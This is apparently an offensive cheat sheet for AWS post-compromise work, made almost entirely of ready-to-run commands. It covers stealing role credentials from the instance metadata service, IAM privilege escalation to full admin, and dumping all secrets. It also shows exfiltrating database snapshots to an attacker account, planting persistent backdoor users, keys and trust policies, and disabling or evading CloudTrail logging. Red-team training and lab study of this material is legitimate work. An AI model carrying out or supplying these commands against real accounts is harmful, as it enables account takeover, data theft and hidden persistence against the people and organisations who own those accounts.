AWS
Sections AWS
AWS attack surface. Storage in Cloud Storage , external recon in Cloud Recon . This file covers what to do once you have credentials or are inside an AWS account.
i. Set up identity
Found keys (from leaked configs, IMDS, etc):
export AWS_ACCESS_KEY_ID=AKIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=... ## only for ASIA... temp creds
export AWS_DEFAULT_REGION=us-east-1
Or use a profile:
aws configure --profile target
## Then prefix everything with --profile target
Confirm identity:
aws sts get-caller-identity
## Returns: UserId, Account, Arn
The ARN format tells you what you have:
arn:aws:iam::123456789012:user/alice-> IAM user (AKIA...)arn:aws:sts::123456789012:assumed-role/role-name/session-name-> STS sessionarn:aws:iam::123456789012:root-> root credentials (catastrophic)
ii. IMDS: harvest creds from inside
When you have SSRF or RCE on an EC2 instance, hit the Instance Metadata Service.
IMDSv1 (legacy, still found in older instances):
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
## Returns role name, then:
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
## Returns: AccessKeyId, SecretAccessKey, Token, Expiration
IMDSv2 (required on new launches since mid-2023):
## Get a token first
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
## Then use it on every metadata call
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>
For SSRF that can’t send PUT or arbitrary headers, IMDSv2 blocks you. Some SSRFs allow header injection via CRLF or HTTP/1.1 abuse.
User data (init script with potential secrets):
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/user-data
iii. Initial enumeration
What does my identity have?
aws sts get-caller-identity
aws iam get-user ## works only if you have iam:GetUser
aws iam list-attached-user-policies --user-name <yours>
aws iam list-groups-for-user --user-name <yours>
aws iam list-user-policies --user-name <yours>
For an assumed role, look at the role policy:
aws iam get-role --role-name <role>
aws iam list-attached-role-policies --role-name <role>
Account-wide enumeration (if you have permissions):
aws iam list-users
aws iam list-roles
aws iam list-groups
aws iam list-policies --scope Local
aws s3 ls
aws ec2 describe-instances --query 'Reservations[].Instances[].[InstanceId,PublicIpAddress,PrivateIpAddress,State.Name]' --output table
aws lambda list-functions
aws rds describe-db-instances
aws ecr describe-repositories
aws eks list-clusters
aws sso list-instances ## for AWS IAM Identity Center
iv. Pacu, the AWS exploitation framework
pacu
## Inside Pacu:
import_keys profile_name
run iam__enum_permissions ## enumerate what you can do
run iam__enum_users_roles_policies_groups
run iam__privesc_scan ## checks for known privesc paths
run ec2__enum
run s3__enum
run lambda__enum
run rds__enum_snapshots
Pacu’s iam__privesc_scan is the headline feature - automated check for 21+ known privesc paths.
v. ScoutSuite and Prowler (audit tools)
ScoutSuite (multi-cloud, generates HTML report):
scout aws --profile target
## Output: scoutsuite-report/aws-target.html
Prowler (CIS/NIST benchmarks + finding triage):
prowler aws -p target -M html
## Output: output/*.html
Both are LOUD (many describe calls). On a real engagement, expect detection. On a lab/CTF, fire away.
vi. Common IAM privesc paths
Pacu detects 21+ paths automatically. The big ones to know:
Direct policy attachment
iam:AttachUserPolicy-> attachAdministratorAccessto yourself
aws iam attach-user-policy --user-name <yours> --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
Create new access key
iam:CreateAccessKey-> create keys for another user (often admin) you have rights on
aws iam create-access-key --user-name admin_user
Update assume role policy
iam:UpdateAssumeRolePolicy-> change who can assume a privileged role -> add yourself
aws iam update-assume-role-policy --role-name admin_role --policy-document file://trust.json
## trust.json grants Principal=YOUR_USER_ARN sts:AssumeRole
aws sts assume-role --role-arn arn:aws:iam::ACCT:role/admin_role --role-session-name pwn
iam:PassRole + service that invokes
iam:PassRole+lambda:CreateFunction-> Lambda runs as the roleiam:PassRole+ec2:RunInstances-> EC2 runs as the role (then hit IMDS)iam:PassRole+glue:CreateJob/glue:UpdateJob-> Glue job runs as the roleiam:PassRole+cloudformation:CreateStack-> Stack runs as the roleiam:PassRole+datapipeline:CreatePipeline-> Pipeline runs as the role
## Example: PassRole + Lambda to assume an admin role
aws lambda create-function \
--function-name pwn \
--runtime python3.11 \
--role arn:aws:iam::ACCT:role/admin_role \
--handler index.handler \
--zip-file fileb://function.zip
## function.zip contains code that prints env vars (the role's creds)
aws lambda invoke --function-name pwn /tmp/out.json
Policy version switching
iam:SetDefaultPolicyVersion-> revert a policy to an older version that gives you more
aws iam list-policy-versions --policy-arn arn:aws:iam::ACCT:policy/X
aws iam set-default-policy-version --policy-arn arn:aws:iam::ACCT:policy/X --version-id v1
Inline policy injection
iam:PutUserPolicy/iam:PutGroupPolicy/iam:PutRolePolicy-> grant yourself anything
aws iam put-user-policy --user-name <yours> --policy-name pwn --policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}'
Cross-account assume role
You have IAM in account A, can assume a role in account B because B’s trust policy allows it:
aws sts assume-role --role-arn arn:aws:iam::OTHER_ACCT:role/cross_account --role-session-name pwn
## Returns new ASIA... creds. Switch identity to those.
vii. Service-specific abuse
S3
- Bucket policies with
Principal: *allow Sigv4 from any account - Bucket replication can be configured to mirror objects to attacker-controlled bucket
- See Cloud Storage for details
Lambda
- Read function code:
aws lambda get-function --function-name X --query 'Code.Location' --output text | xargs curl -o code.zip
unzip code.zip && grep -RE 'aws_secret|api_key|password' .
- Read environment variables (often contain secrets):
aws lambda get-function-configuration --function-name X --query 'Environment.Variables'
- Modify function to leak its execution role creds:
## Replace handler code with one that prints AWS_ACCESS_KEY_ID env
aws lambda update-function-code --function-name X --zip-file fileb://malicious.zip
aws lambda invoke --function-name X /tmp/out.json
EC2
ec2:RunInstanceswithiam:PassRole-> spawn instance with admin roleec2:GetPasswordData-> get Windows admin password (RSA-encrypted with the keypair)- Snapshot abuse:
ec2:CreateSnapshoton a privileged instance’s volume, mount in your instance, read /etc/shadow or admin tokens - User data scripts often have hardcoded creds:
aws ec2 describe-instance-attribute --instance-id i-abc --attribute userData --query 'UserData.Value' --output text | base64 -d
RDS
- Snapshot the DB, share with attacker account, restore there:
aws rds create-db-snapshot --db-snapshot-identifier sn --db-instance-identifier prod
aws rds modify-db-snapshot-attribute --db-snapshot-identifier sn --attribute-name restore --values-to-add YOUR_ACCT
- Database master password reset (if you have
rds:ModifyDBInstance):
aws rds modify-db-instance --db-instance-identifier prod --master-user-password 'NewP@ss!' --apply-immediately
Secrets Manager and SSM Parameter Store
- Grab everything:
aws secretsmanager list-secrets --query 'SecretList[].Name'
for s in $(aws secretsmanager list-secrets --query 'SecretList[].Name' --output text); do
echo "=== $s ==="
aws secretsmanager get-secret-value --secret-id "$s" --query 'SecretString' --output text
done
## SSM Parameter Store (often forgotten):
aws ssm describe-parameters --query 'Parameters[].Name'
aws ssm get-parameters-by-path --path / --recursive --with-decryption
ECR (container registry)
- Pull every image, scan for secrets in layers:
aws ecr describe-repositories --query 'repositories[].repositoryName'
aws ecr get-login-password | docker login --username AWS --password-stdin <acct>.dkr.ecr.<region>.amazonaws.com
docker pull <acct>.dkr.ecr.<region>.amazonaws.com/<repo>:latest
docker save <image> -o image.tar
## Then dig through tar layers for embedded secrets
EKS (Kubernetes)
- Get kubeconfig for a cluster:
aws eks update-kubeconfig --name cluster-name --region us-east-1
kubectl get pods -A
kubectl get secrets -A
- Once in the cluster, see GCP / standard K8s attacks for pod -> node -> cluster escalation
viii. Persistence in AWS
New IAM user with admin
aws iam create-user --user-name svc-backup
aws iam create-access-key --user-name svc-backup
aws iam attach-user-policy --user-name svc-backup --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
Second access key on legitimate user (subtle)
Most accounts allow 2 keys per user. Add a second one to an existing admin:
aws iam create-access-key --user-name existing_admin
## Save these somewhere - they survive the user's password rotation
Console access via federation
Get a console URL valid for 12 hours, even without console password:
SESSION_JSON=$(curl --get "https://signin.aws.amazon.com/federation" \
--data-urlencode "Action=getSigninToken" \
--data-urlencode "Session={\"sessionId\":\"$AWS_ACCESS_KEY_ID\",\"sessionKey\":\"$AWS_SECRET_ACCESS_KEY\",\"sessionToken\":\"$AWS_SESSION_TOKEN\"}")
SIGNIN_TOKEN=$(echo "$SESSION_JSON" | jq -r .SigninToken)
echo "https://signin.aws.amazon.com/federation?Action=login&Issuer=&Destination=https%3A%2F%2Fconsole.aws.amazon.com%2F&SigninToken=$SIGNIN_TOKEN"
Lambda backdoor
Create a Lambda with a generous role, trigger it via a public endpoint or scheduled event:
aws lambda create-function ... ## with role=AdminRole
aws apigateway create-rest-api ... ## expose Lambda via HTTPS
Custom trust policy on a high-priv role
Add a trust to your external attacker account:
aws iam update-assume-role-policy --role-name AdminRole \
--policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"AWS":"arn:aws:iam::YOUR_ATTACKER_ACCT:root"},"Action":"sts:AssumeRole"}]}'
ix. CloudTrail and detection
CloudTrail logs almost every API call. Common evasion:
- Disable CloudTrail if you have rights (loud, immediately suspicious):
aws cloudtrail stop-logging --name <trail> - Region hopping: trails are sometimes single-region. Operate in regions with no trail.
- S3 bucket destination tampering: trail still tries to log but logs go nowhere. Edit the trail’s destination bucket policy to deny PutObject.
- Read-only actions in many services log to “Data Events” which are off by default for S3, Lambda, etc. Read-heavy enumeration is often unlogged.
Check trail status:
aws cloudtrail describe-trails
aws cloudtrail get-trail-status --name <trail>
Anything that mutates state, creates resources, or assumes roles is in CloudTrail by default. Defender response on a real engagement is fast once they see anomalous IAM activity. Operate quickly, mind your IP.
x. Decision tree
Got AWS keys, now what?
aws sts get-caller-identity→ confirm what kind of identitypacuimport +iam__enum_permissions→ know your effective rightsiam__privesc_scan→ automated check for known paths- If no IAM privesc → service-specific (Lambda env vars, EC2 IMDS, RDS snapshots, Secrets Manager dump)
- If cross-account roles exist → enumerate trust policies, see if you can assume
- If persistence needed → second access key on existing user, or new user with admin
Always pair AWS findings with BloodHound-style graphing for AWS (aws_pwn, Cartography, PMapper):
pmapper graph create --account-id ACCT
pmapper visualize --account-id ACCT --filetype svg